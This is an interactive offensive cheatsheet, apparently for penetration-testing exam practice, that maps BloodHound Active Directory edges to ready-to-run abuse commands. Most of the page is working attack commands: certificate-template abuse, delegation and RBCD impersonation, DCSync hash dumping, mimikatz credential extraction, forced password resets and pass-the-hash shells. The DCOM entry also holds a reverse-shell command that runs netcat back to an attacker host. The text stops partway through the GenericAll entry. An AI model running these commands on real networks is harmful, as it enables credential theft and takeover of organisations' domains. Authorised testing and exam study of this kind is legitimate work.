← cd ..

BloodHound edges

Every edge BloodHound draws, A to Z: what it means, how to abuse it, with your creds already filled in

phases
7
vars
49
commands
191
how to use this

You are looking at a graph with an edge on it and want the command. Find the edge name below, or press / and type it. Each entry says what the edge gives you, how to confirm it, the abuse from Kali and from a Windows shell, what to do with the result, and how to put it back.

Pick who you are acting as with the acting as chips — that is the slot whose user, password and hash go into $ME, $MEPASS and $MEHASH. Put the object at the far end of the edge in TARGET, and its FQDN in THOST if it is a computer. Everything else comes across from the cheatsheet panel.

The tags say how often an edge turns up on the exam. Type likely in the filter to see only those.

variables

Values live in this browser only — nothing is sent anywhere, and they are still here next time you open the page.

target
attacker
internal

once you are on the pivot — the network behind it, the pivot's own address on that network, and the box you are working in there

creds

whatever you land first goes in slot 1 and moves up as you escalate

admin
wordlists
edge

the object at the far end of the edge — what BloodHound drew the arrow to

adcs

from certipy find

acting as

which credential slot the commands below run as. Move it up as you escalate

paste this into a fresh terminal

export LPORT=4444export WORKDIR=.export USERLIST="$WORKDIR/users.md"export PASSLIST="$WORKDIR/passwords.md"export ROCKYOU=/usr/share/wordlists/rockyou.txtexport SECLISTS=/usr/share/seclistsexport NEWPASS="Passw0rd123!"export FAKEPC="FAKE01$"export FAKEPASS="FakePass123!"export SPN=fake/kerberoastexport ME="$USER1"export MEPASS="$PASS1"export MEHASH="$HASH1"export MEAUTH="$AUTH1"

start

everything below runs as the slot picked under "acting as". Password forms are shown; the hash and ticket forms of each tool are here once

auth forms [5]

the same credential, spelled the way each tool wants it. Swap any card's password form for one of these when all you have is a hash or a ticket

impacket

the target after the @ is whatever the card is talking to — the DC for LDAP work, THOST for a shell

impacket-TOOL "$DOMAIN/$ME:$MEPASS@$DC" -dc-ip $IPimpacket-TOOL -hashes :$MEHASH "$DOMAIN/$ME@$DC" -dc-ip $IPexport KRB5CCNAME=$MEAUTH; impacket-TOOL -k -no-pass "$DOMAIN/$ME@$DC"
bloodyAD

one tool for nearly every ACL edge. apt install bloodyad, or pipx install bloodyAD

bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS COMMANDbloodyAD --host $DC -d $DOMAIN -u $ME -p :$MEHASH COMMANDbloodyAD --host $DC -d $DOMAIN -u $ME -k COMMAND
nxc, evil-winrm, certipy
nxc ldap $DC -u $ME -p $MEPASSnxc ldap $DC -u $ME -H $MEHASHevil-winrm -i $THOST -u $ME -H $MEHASHcertipy find -u "$ME@$DOMAIN" -hashes $MEHASH -dc-ip $IP -vulnerable -stdout
PowerView as someone else

when the windows shell you are in is not $ME. Build $Cred once, then add -Credential $Cred to any PowerView line below

$pw = ConvertTo-SecureString '$MEPASS' -AsPlainText -Force$Cred = New-Object System.Management.Automation.PSCredential('$DOMAIN\$ME', $pw)Get-DomainUser -Identity $TARGET -Credential $Cred
a new TGT after a change

group membership and most rights live in the ticket you already hold. After adding yourself to a group, get a fresh one or the DC still sees the old you

impacket-getTGT "$DOMAIN/$ME:$MEPASS" -dc-ip $IP && export KRB5CCNAME=$ME.ccacheklist purgeRubeus.exe asktgt /user:$ME /password:$MEPASS /ptt

which edge first [5]

the graph usually offers more than one. This is the order that costs the least

edge lands on a user
# GenericAll / GenericWrite / AllExtendedRights / ForceChangePassword / WriteDacl / WriteOwner / Owns#   1. AddKeyCredentialLink style — shadow creds. Quiet, nothing changes for the user, needs a CA in the domain#   2. WriteSPN style — targeted kerberoast. Nothing changes, but you have to crack it#   3. ForceChangePassword — always works, user is locked out. Fine on the exam, last on an engagement
edge lands on a group
# GenericAll / GenericWrite / WriteDacl / WriteOwner / Owns / AddMember / AddSelf#   add yourself, get a new TGT, re-run "which creds work where" — the group is usually local admin somewhere
edge lands on a computer
# GenericAll / GenericWrite / AddAllowedToAct / WriteAccountRestrictions / AllExtendedRights#   1. ReadLAPSPassword if LAPS is there — it is a password, no kerberos#   2. RBCD — add a fake computer, delegate to the target, S4U as administrator. Needs MachineAccountQuota > 0#   3. shadow creds on the computer account, then S4U2self as administrator on it
edge lands on the domain
# GenericAll / WriteDacl / WriteOwner / Owns / AllExtendedRights / GetChanges+GetChangesAll#   DCSync. Grant it if you do not already have it, dump krbtgt and administrator, pass the hash to the DC
mark owned, ask again

the Owned Principals queries are empty until you mark what you hold. Names are upper case in the database

# right click the node > Mark User as OwnedMATCH p=shortestPath((s)-[*1..]->(t:Group)) WHERE s.owned=true AND t.name STARTS WITH 'DOMAIN ADMINS@' RETURN pMATCH p=shortestPath((s)-[*1..]->(t)) WHERE s.owned=true AND t.highvalue=true RETURN pMATCH (s)-[r]->(t) WHERE s.owned=true AND NOT type(r) IN ['MemberOf','Contains','GPLink'] RETURN s.name,type(r),t.name

A

AbuseTGTDelegation [1]exam: rare

domain → domain. The trust lets TGTs be delegated across it, so a host with unconstrained delegation in the domain you own can collect a DC ticket from the other one

what it is, and the shape of the abuse

out of exam scope. The whole thing is CoerceToTGT, aimed across a trust

# need: SYSTEM on a computer with unconstrained delegation in your domain (THOST), and a way to coerce the other DC.\Rubeus.exe monitor /interval:5 /nowrap /targetuser:DC02$python3 PetitPotam.py -u $ME -p $MEPASS -d $DOMAIN $THOST dc02.$DOMAIN2# the ticket Rubeus prints is the other DC's TGT: ptt it, then dcsync the other domain.\Rubeus.exe ptt /ticket:<base64>.\mimikatz.exe "lsadump::dcsync /domain:$DOMAIN2 /user:$DOMAIN2\krbtgt" exit

ADCSESC1 [4]exam: possible

a template you can enrol in lets you supply the subject, needs no approval, and issues a cert good for logon. Ask for one as administrator

confirm it

certipy names the template and the ESC. THOST is the CA host here

certipy find -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -vulnerable -stdout
request as administrator

newer DCs want the SID in the cert too — add -sid when auth fails with KDC_ERR_CERTIFICATE_MISMATCH

certipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -template $TEMPLATE -upn "administrator@$DOMAIN"certipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -template $TEMPLATE -upn "administrator@$DOMAIN" -sid $SID-500
cert to hash

auth hands you a TGT and the NT hash. The hash goes everywhere a password does

certipy auth -pfx administrator.pfx -dc-ip $IPexport KRB5CCNAME=administrator.ccacheimpacket-secretsdump -k -no-pass "$DOMAIN/administrator@$DC"
from windows
.\Certify.exe request /ca:$THOST\$CA /template:$TEMPLATE /altname:administratoropenssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /ptt

ADCSESC3 [1]exam: rare

an enrollment-agent template you can enrol in, plus a second template that accepts agent-signed requests. You request a cert on behalf of administrator

agent cert, then one on behalf of administrator
certipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -template $TEMPLATEcertipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -template User -on-behalf-of "$DOMAIN\administrator" -pfx $ME.pfxcertipy auth -pfx administrator.pfx -dc-ip $IP

ADCSESC4 [2]exam: possible

you can write the template itself. Turn it into an ESC1 template, use it, put it back

make it ESC1, abuse, restore

-save-old writes the original to TEMPLATE.json. Restore it — a template left open is the kind of thing a reviewer notices

certipy template -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -template $TEMPLATE -save-oldcertipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -template $TEMPLATE -upn "administrator@$DOMAIN"certipy auth -pfx administrator.pfx -dc-ip $IPcertipy template -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -template $TEMPLATE -configuration $TEMPLATE.json
the two attributes by hand

what certipy template is doing. Name flag 1 is ENROLLEE_SUPPLIES_SUBJECT, enrollment flag 0 drops manager approval

bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set object $TEMPLATE msPKI-Certificate-Name-Flag -v 1bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set object $TEMPLATE msPKI-Enrollment-Flag -v 0

ADCSESC6a [1]exam: possible

the CA has EDITF_ATTRIBUTESUBJECTALTNAME2 set, so any template takes a SAN from the request. Patched CAs (May 2022) need the b variant or a non-enforced mapping

any template, with a UPN
certipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -template User -upn "administrator@$DOMAIN"certipy auth -pfx administrator.pfx -dc-ip $IP

ADCSESC6b [1]exam: rare

same flag, but the cert has to come without the SID security extension — a template with that extension disabled, against a DC not enforcing strong mapping

the same request
certipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -template $TEMPLATE -upn "administrator@$DOMAIN"certipy auth -pfx administrator.pfx -dc-ip $IP

ADCSESC9a [1]exam: rare

you have GenericWrite on a user (TARGET) and a template without the security extension. Swap the victim's UPN to administrator, enrol as them, swap it back

the chain

the shadow line gets you the victim's hash to enrol with. Restore the UPN before you forget

certipy shadow auto -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -account $TARGETcertipy account update -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -user $TARGET -upn administratorcertipy req -u "$TARGET@$DOMAIN" -hashes <victim hash> -dc-ip $IP -target $THOST -ca $CA -template $TEMPLATEcertipy account update -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -user $TARGET -upn "$TARGET@$DOMAIN"certipy auth -pfx administrator.pfx -domain $DOMAIN -dc-ip $IP

ADCSESC9b [1]exam: rare

ESC9a aimed at a computer. The dNSHostName is what gets swapped, and the cert comes back as the DC's

the chain
certipy account update -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -user $TARGET -dns $DCcertipy req -u "$TARGET@$DOMAIN" -hashes <victim hash> -dc-ip $IP -target $THOST -ca $CA -template $TEMPLATEcertipy account update -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -user $TARGET -dns "$TARGET.$DOMAIN"certipy auth -pfx dc01.pfx -dc-ip $IP

ADCSESC10a [1]exam: rare

ESC9 without the template flag — the DC's own certificate-mapping registry is weak instead. Same chain, any template with client auth

the chain
certipy shadow auto -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -account $TARGETcertipy account update -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -user $TARGET -upn administratorcertipy req -u "$TARGET@$DOMAIN" -hashes <victim hash> -dc-ip $IP -target $THOST -ca $CA -template Usercertipy account update -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -user $TARGET -upn "$TARGET@$DOMAIN"certipy auth -pfx administrator.pfx -domain $DOMAIN -dc-ip $IP

ADCSESC10b [1]exam: rare

the Schannel variant — the cert authenticates over LDAPS rather than Kerberos, so the UPN you write ends in the DC's machine account

the chain
certipy account update -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -user $TARGET -upn 'DC01$@$DOMAIN'certipy req -u "$TARGET@$DOMAIN" -hashes <victim hash> -dc-ip $IP -target $THOST -ca $CA -template Usercertipy account update -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -user $TARGET -upn "$TARGET@$DOMAIN"certipy auth -pfx dc01.pfx -dc-ip $IP -ldap-shell# in the ldap shell: add_user_to_group $ME "Domain Admins"

ADCSESC13 [1]exam: rare

the template carries an issuance policy that is linked to a group. A cert from it logs you in as a member of that group

request, authenticate, check the groups
certipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -template $TEMPLATEcertipy auth -pfx $ME.pfx -dc-ip $IPexport KRB5CCNAME=$ME.ccache; nxc smb $DC --use-kcache --groups

AddAllowedToAct [6]exam: likely

you can write msDS-AllowedToActOnBehalfOfOtherIdentity on the computer TARGET. Resource-based constrained delegation — you decide who may impersonate users to it

confirm it
impacket-rbcd -action read -delegate-to $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPnxc ldap $DC -u $ME -p $MEPASS -M maq
a computer you control

MachineAccountQuota is 10 by default, so any user can add one. If it is 0, use a computer you already own, or shadow creds on one

impacket-addcomputer "$DOMAIN/$ME:$MEPASS" -computer-name $FAKEPC -computer-pass $FAKEPASS -dc-ip $IPbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add computer $FAKEPC $FAKEPASS
let it act on the target
impacket-rbcd -action write -delegate-from $FAKEPC -delegate-to $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add rbcd $TARGET $FAKEPC
impersonate administrator to it

cifs for a shell over smb, host or http for winrm. getST names the file user@service_host@DOMAIN.ccache

impacket-getST -spn cifs/$THOST -impersonate administrator "$DOMAIN/$FAKEPC:$FAKEPASS" -dc-ip $IPexport KRB5CCNAME=$(ls -t administrator@*.ccache | head -1)impacket-psexec -k -no-pass "$DOMAIN/administrator@$THOST"impacket-secretsdump -k -no-pass "$DOMAIN/administrator@$THOST"
from windows
New-MachineAccount -MachineAccount $FAKEPC -Password $(ConvertTo-SecureString '$FAKEPASS' -AsPlainText -Force)$sid = Get-DomainComputer $FAKEPC -Properties objectsid | select -expand objectsid$sd = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"$b = New-Object byte[] ($sd.BinaryLength); $sd.GetBinaryForm($b, 0)Get-DomainComputer $TARGET | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$b}.\Rubeus.exe hash /password:$FAKEPASS /user:$FAKEPC /domain:$DOMAIN.\Rubeus.exe s4u /user:$FAKEPC /rc4:<hash> /impersonateuser:administrator /msdsspn:cifs/$THOST /ptt
cleanup
impacket-rbcd -action remove -delegate-from $FAKEPC -delegate-to $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS remove rbcd $TARGET $FAKEPC

AddMember [5]exam: likely

you can add members to the group TARGET. Add yourself, then be whatever the group is

confirm it
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS get object $TARGET --attr membernet rpc group members "$TARGET" -U "$DOMAIN/$ME%$MEPASS" -S $DC
abuse — linux
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add groupMember $TARGET $MEnet rpc group addmem "$TARGET" "$ME" -U "$DOMAIN/$ME%$MEPASS" -S $DC
abuse — windows
Add-DomainGroupMember -Identity '$TARGET' -Members '$ME'net group "$TARGET" $ME /add /domain
then

the membership is in your next ticket, not your current one. Re-auth, then find out where the group is admin

impacket-getTGT "$DOMAIN/$ME:$MEPASS" -dc-ip $IPnxc smb $SUBNET -u $ME -p $MEPASSnxc smb $DC -u $ME -p $MEPASS --groups
cleanup
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS remove groupMember $TARGET $MERemove-DomainGroupMember -Identity '$TARGET' -Members '$ME'

AddSelf [2]exam: likely

AddMember, but only yourself. Same commands, same follow-up

add yourself
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add groupMember $TARGET $MEnet rpc group addmem "$TARGET" "$ME" -U "$DOMAIN/$ME%$MEPASS" -S $DCAdd-DomainGroupMember -Identity '$TARGET' -Members '$ME'
then re-auth, and clean up after
impacket-getTGT "$DOMAIN/$ME:$MEPASS" -dc-ip $IPbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS remove groupMember $TARGET $ME

AdminTo [5]exam: likely

you are a local administrator on THOST. A shell, then everything that box has in memory and on disk

confirm it

Pwn3d! is the confirmation

nxc smb $THOST -u $ME -p $MEPASSnxc smb $THOST -u $ME -H $MEHASH
a shell

wmiexec is the quietest. psexec drops a service binary. evil-winrm needs 5985 and the remote management group or admin

impacket-wmiexec "$DOMAIN/$ME:$MEPASS@$THOST"impacket-psexec "$DOMAIN/$ME:$MEPASS@$THOST"impacket-psexec -hashes :$MEHASH "$DOMAIN/$ME@$THOST"evil-winrm -i $THOST -u $ME -p $MEPASS
what the box holds

the SAM gives the local admin hash, which is often reused. lsa gives cached domain creds and service account passwords. lsassy pulls logged-on users out of lsass

nxc smb $THOST -u $ME -p $MEPASS --sam --lsanxc smb $THOST -u $ME -p $MEPASS -M lsassyimpacket-secretsdump "$DOMAIN/$ME:$MEPASS@$THOST"
on the box
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "sekurlsa::tickets /export" exit.\Rubeus.exe triage.\Rubeus.exe dump /nowrap
then

every hash out of there goes through "which creds work where". A ticket for someone better is a ptt away

nxc smb $SUBNET -u administrator -H <sam hash> --local-auth.\Rubeus.exe ptt /ticket:<base64>

AllExtendedRights [3]exam: likely

every extended right on TARGET. Which one matters depends on what TARGET is

on a user — reset the password
impacket-changepasswd "$DOMAIN/$TARGET@$DC" -newpass $NEWPASS -altuser $ME -altpass $MEPASS -resetbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set password $TARGET $NEWPASS# or AddKeyCredentialLink — quieter, see that entry
on a computer — read the LAPS password
nxc ldap $DC -u $ME -p $MEPASS -M lapsbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS get object $TARGET --attr ms-Mcs-AdmPwd
on the domain — DCSync
impacket-secretsdump "$DOMAIN/$ME:$MEPASS@$DC" -just-dc-ntlm

AllowedToAct [3]exam: likely

the account you hold is already in TARGET's msDS-AllowedToActOnBehalfOfOtherIdentity. Skip the setup and go straight to S4U — you can be anyone to that computer

confirm it
impacket-rbcd -action read -delegate-to $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IP
impersonate administrator to it

$ME here is the account with the delegation — usually a computer$, so the hash form. Not protected-users, not "sensitive and cannot be delegated"

impacket-getST -spn cifs/$THOST -impersonate administrator "$DOMAIN/$ME:$MEPASS" -dc-ip $IPimpacket-getST -spn cifs/$THOST -impersonate administrator -hashes :$MEHASH "$DOMAIN/$ME" -dc-ip $IPexport KRB5CCNAME=$(ls -t administrator@*.ccache | head -1)impacket-psexec -k -no-pass "$DOMAIN/administrator@$THOST"
from windows
.\Rubeus.exe s4u /user:$ME /rc4:$MEHASH /impersonateuser:administrator /msdsspn:cifs/$THOST /altservice:host,http /pttdir \\$THOST\c$

AllowedToDelegate [4]exam: likely

constrained delegation. The account you hold may request tickets to specific services on THOST as any user. With protocol transition it can do it for users who never spoke to it

confirm it, and read the SPN list

the SPNs listed are what you may delegate to. The service name in them does not matter — alter it to cifs

impacket-findDelegation "$DOMAIN/$ME:$MEPASS" -dc-ip $IPGet-DomainUser -TrustedToAuth | select samaccountname,msds-allowedtodelegatetoGet-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto
abuse — linux

-altservice swaps the service in the ticket. No protocol transition (TRUSTED_TO_AUTH_FOR_DELEGATION unset) means you need a ticket from the user first — -additional-ticket

impacket-getST -spn <spn from the list> -altservice cifs/$THOST -impersonate administrator "$DOMAIN/$ME:$MEPASS" -dc-ip $IPimpacket-getST -spn <spn from the list> -altservice cifs/$THOST -impersonate administrator -hashes :$MEHASH "$DOMAIN/$ME" -dc-ip $IPexport KRB5CCNAME=$(ls -t administrator@*.ccache | head -1)impacket-psexec -k -no-pass "$DOMAIN/administrator@$THOST"
abuse — windows
.\Rubeus.exe s4u /user:$ME /rc4:$MEHASH /impersonateuser:administrator /msdsspn:<spn from the list> /altservice:cifs,host,http /pttdir \\$THOST\c$Enter-PSSession $THOST
then

a ticket for administrator to cifs on THOST is a shell on THOST. If THOST is the DC, it is the domain

impacket-secretsdump -k -no-pass "$DOMAIN/administrator@$THOST"

C

CanPSRemote [3]exam: likely

you are in Remote Management Users on THOST, so WinRM on 5985 will take you. Not necessarily an administrator there — check what you land as

confirm it
nxc winrm $THOST -u $ME -p $MEPASSnxc winrm $SUBNET -u $ME -p $MEPASS
get the shell
evil-winrm -i $THOST -u $ME -p $MEPASSevil-winrm -i $THOST -u $ME -H $MEHASHEnter-PSSession -ComputerName $THOST
then

a non-admin WinRM shell is a foothold, not a win. Run the usual local privesc from here

whoami /priv; whoami /groupsnet localgroup administrators.\winPEASx64.exe quiet servicesinfo

CanRDP [3]exam: likely

you are in Remote Desktop Users on THOST. A desktop, which is what you want for anything that needs one

confirm it
nxc rdp $THOST -u $ME -p $MEPASS
connect

/drive shares a folder in, which beats hunting for a file transfer. Restricted Admin mode is what lets a hash in

xfreerdp /v:$THOST /u:$ME /p:$MEPASS /d:$DOMAIN /cert:ignore /dynamic-resolution +clipboard /drive:share,$WORKDIR/wwwxfreerdp /v:$THOST /u:$ME /pth:$MEHASH /cert:ignore /dynamic-resolution
then

the desktop is the point — procmon, a GUI installer, a password manager someone left open

whoami /priv; whoami /groupscmdkey /list

ClaimSpecialIdentity [1]exam: none

the node belongs to a built-in identity such as Authenticated Users or Everyone

what it tells you
# not an action. It explains why a right reaches you: the ACE was granted to# Authenticated Users or Everyone, and you are one. Follow the edge out of that# identity node — whatever it grants, every domain user has

CoerceAndRelayNTLMToADCS [1]exam: none

coerce a machine to authenticate, relay it to the web enrollment endpoint, get a certificate as that machine. ESC8

off limits on the exam

relaying is a spoofing attack, and the OSCP rules ban those outright. Here so you recognise the edge

# banned on the exam — do not run this on an exam box# what it is: http enrollment on the CA accepts NTLM, so a coerced DC authentication#   can be relayed into a certificate request for that DC# detect it:certipy find -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -stdout | grep -i "Web Enrollment"

CoerceAndRelayNTLMToLDAP [1]exam: none

coerce a machine, relay the authentication to LDAP on the DC, then write with its rights

off limits on the exam
# banned on the exam — relaying is spoofing# the thing to take from this edge: LDAP signing is not enforced on the DCnxc ldap $DC -u $ME -p $MEPASS -M ldap-checker

CoerceAndRelayNTLMToLDAPS [1]exam: none

the same over LDAPS, when channel binding is not enforced

off limits on the exam
# banned on the exam — relaying is spoofingnxc ldap $DC -u $ME -p $MEPASS -M ldap-checker

CoerceAndRelayNTLMToSMB [1]exam: none

coerce a machine and relay to SMB on a host where that machine is an administrator. Needs SMB signing off on the receiving end

off limits on the exam

worth knowing the signing check though — it tells you the domain is not hardened, which says something about the rest of it

# banned on the exam — relaying is spoofingnxc smb $SUBNET --gen-relay-list $WORKDIR/loot/no-signing.mdnxc smb $SUBNET | grep -i "signing:False"

CoerceToTGT [4]exam: possible

unconstrained delegation. Any authentication to this host leaves the caller's TGT in its memory, so coercing a DC to connect hands you the DC's ticket

find them

the DC itself always has it. Anything else with it is the finding

impacket-findDelegation "$DOMAIN/$ME:$MEPASS" -dc-ip $IPnxc ldap $DC -u $ME -p $MEPASS --trusted-for-delegationGet-DomainComputer -Unconstrained | select name
watch for tickets, with SYSTEM on that host
.\Rubeus.exe monitor /interval:5 /nowrap.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
make the DC authenticate to you

the coercion itself is fine on the exam — it is not spoofing, you are asking a service to connect. Relaying what comes back is the banned part, and this does not relay

python3 PetitPotam.py -u $ME -p $MEPASS -d $DOMAIN $THOST $DCpython3 printerbug.py "$DOMAIN/$ME:$MEPASS@$DC" $THOSTdfscoerce.py -u $ME -p $MEPASS -d $DOMAIN $THOST $DC
then

the captured ticket is the DC machine account, which can DCSync

.\Rubeus.exe ptt /ticket:<base64>.\mimikatz.exe "lsadump::dcsync /domain:$DOMAIN /user:$DOMAIN\krbtgt" exit

Contains [1]exam: none

an OU or container holds this object

what it tells you
# not an action on its own. It is the route a GPO reaches an object by:# OU -Contains-> computer, and a GPLink on that OU applies to everything inside.# If you can write the OU, see WriteGPLink — that is the edge with the abuse on it

CrossForestTrust [1]exam: none

a trust to a domain in another forest. SID filtering is on across a forest boundary, so the usual SID history trick does not cross it

what it tells you

out of scope for the exam set, which is one domain. Enumerate it, do not plan around it

nxc ldap $DC -u $ME -p $MEPASS -M enum_trustsimpacket-GetADUsers "$DOMAIN/$ME:$MEPASS" -dc-ip $IP -allGet-DomainTrust

D – G

DCFor [1]exam: none

this computer is a domain controller for that domain

what it tells you
# not an action. It marks the box that holds the database, so a path ending here# is the domain. Set DC to this name in the panel — kerberos needs the FQDN

DCSync [4]exam: likely

you can ask the DC to replicate secrets to you. Every hash in the domain, without touching the box

confirm it

the right is GetChanges plus GetChangesAll on the domain object. Both, or it fails

nxc ldap $DC -u $ME -p $MEPASS -M daclread -o TARGET_DN="DC=$(echo $DOMAIN | sed 's/\./,DC=/g')" ACTION=readGet-ObjectAcl -Identity "$DOMAIN" -ResolveGUIDs | ? { $_.ObjectAceType -match 'Replication-Get' }
abuse — linux

-just-dc-ntlm is the one you want. The full dump takes far longer and gives you kerberos keys you will not use

impacket-secretsdump "$DOMAIN/$ME:$MEPASS@$DC" -just-dc-ntlmimpacket-secretsdump -hashes :$MEHASH "$DOMAIN/$ME@$DC" -just-dc-ntlmimpacket-secretsdump "$DOMAIN/$ME:$MEPASS@$DC" -just-dc-user krbtgtnxc smb $DC -u $ME -p $MEPASS --ntds
abuse — windows
.\mimikatz.exe "lsadump::dcsync /domain:$DOMAIN /user:$DOMAIN\administrator" exit.\mimikatz.exe "lsadump::dcsync /domain:$DOMAIN /all /csv" exit
then

pass the administrator hash straight back at the DC. That is the box

impacket-psexec -hashes :<administrator hash> "$DOMAIN/administrator@$DC"evil-winrm -i $DC -u administrator -H <administrator hash>type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfig

DelegatedEnrollmentAgent [1]exam: rare

you are allowed to act as an enrollment agent for this template, which is the second half of ESC3

where it fits
# see ADCSESC3 — this edge is the permission that attack needs.# with an agent certificate already in hand:certipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -template User -on-behalf-of "$DOMAIN\administrator" -pfx $ME.pfx

DumpSMSAPassword [2]exam: possible

a standalone managed service account is installed on this computer, and anyone with admin there can read its password out of LSA

read it

you need local admin on the host first — this edge comes after AdminTo, not instead of it

nxc smb $THOST -u $ME -p $MEPASS --lsaimpacket-secretsdump "$DOMAIN/$ME:$MEPASS@$THOST" | grep -i '\$'.\mimikatz.exe "privilege::debug" "lsadump::secrets" exit
then

service accounts are usually privileged somewhere. Run it through the creds check

nxc smb $SUBNET -u '<sa name>$' -H <hash>

Enroll [2]exam: possible

you may request a certificate from this template. On its own that is normal; it matters when the template is one of the ESC entries

is this template worth anything
certipy find -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -vulnerable -stdout
a plain certificate

even a boring client-auth certificate is a credential that survives a password change — worth taking on the way past

certipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -template $TEMPLATEcertipy auth -pfx $ME.pfx -dc-ip $IP

EnrollOnBehalfOf [1]exam: rare

certificates from the first template may be used to request on behalf of a subject for the second. The template-to-template half of ESC3

where it fits
# see ADCSESC3 for the full chain

EnterpriseCAFor [1]exam: none

this CA serves that AD CS environment

what it tells you
# not an action. It names the CA host and CA name for every certipy command# on this page — set THOST and CA in the panel from itcertipy find -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -stdout | grep -iE 'CA Name|DNS Name'

ExecuteDCOM [3]exam: likely

you are in Distributed COM Users on THOST, so you can instantiate objects there and get execution. The fallback when 445 and 5985 are shut

confirm it
nxc smb $THOST -u $ME -p $MEPASSGet-NetLocalGroupMember -ComputerName $THOST -GroupName "Distributed COM Users"
get execution
impacket-dcomexec "$DOMAIN/$ME:$MEPASS@$THOST"impacket-dcomexec -object MMC20 "$DOMAIN/$ME:$MEPASS@$THOST"impacket-dcomexec -hashes :$MEHASH "$DOMAIN/$ME@$THOST"
from windows
$dcom = [Activator]::CreateInstance([Type]::GetTypeFromProgID("MMC20.Application","$THOST"))$dcom.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd","7")

ExtendedByPolicy [1]exam: none

the template carries this issuance policy

what it tells you
# not an action. It is the link ADCSESC13 travels — follow the policy node on# to the group it is tied to

ForceChangePassword [4]exam: likely

you can set TARGET's password without knowing the old one. The bluntest edge on the page, and the one most likely to work

think before you fire

it locks the real user out, and on a shared box that gets noticed fast. If the target is a user and there is a CA, AddKeyCredentialLink does the same job silently

# service account with an SPN?  → WriteSPN, kerberoast it instead# CA in the domain?             → AddKeyCredentialLink, nothing changes# neither, or you need it now?  → change it
abuse — linux
impacket-changepasswd "$DOMAIN/$TARGET@$DC" -newpass $NEWPASS -altuser $ME -altpass $MEPASS -resetbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set password $TARGET $NEWPASSnet rpc password "$TARGET" "$NEWPASS" -U "$DOMAIN/$ME%$MEPASS" -S $DC
abuse — windows
$pw = ConvertTo-SecureString '$NEWPASS' -AsPlainText -ForceSet-DomainUserPassword -Identity $TARGET -AccountPassword $pwnet user $TARGET $NEWPASS /domain
then

put the new password in the next free slot in the panel and point "acting as" at it

nxc smb $SUBNET -u $TARGET -p $NEWPASSnxc winrm $SUBNET -u $TARGET -p $NEWPASSevil-winrm -i $THOST -u $TARGET -p $NEWPASS

GenericAll [6]exam: likely

full control of TARGET. The most common edge on the graph, and what you do with it depends entirely on what TARGET is

what is on the other end
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS get object $TARGET --attr objectClass,sAMAccountType,memberOfGet-DomainObject -Identity $TARGET | select objectclass,samaccountname,distinguishedname
TARGET is a user

in order of how much noise they make. All three are on this page with the full steps

certipy shadow auto -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -account $TARGETbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add uac $TARGET -f DONT_REQ_PREAUTHimpacket-changepasswd "$DOMAIN/$TARGET@$DC" -newpass $NEWPASS -altuser $ME -altpass $MEPASS -reset
TARGET is a group
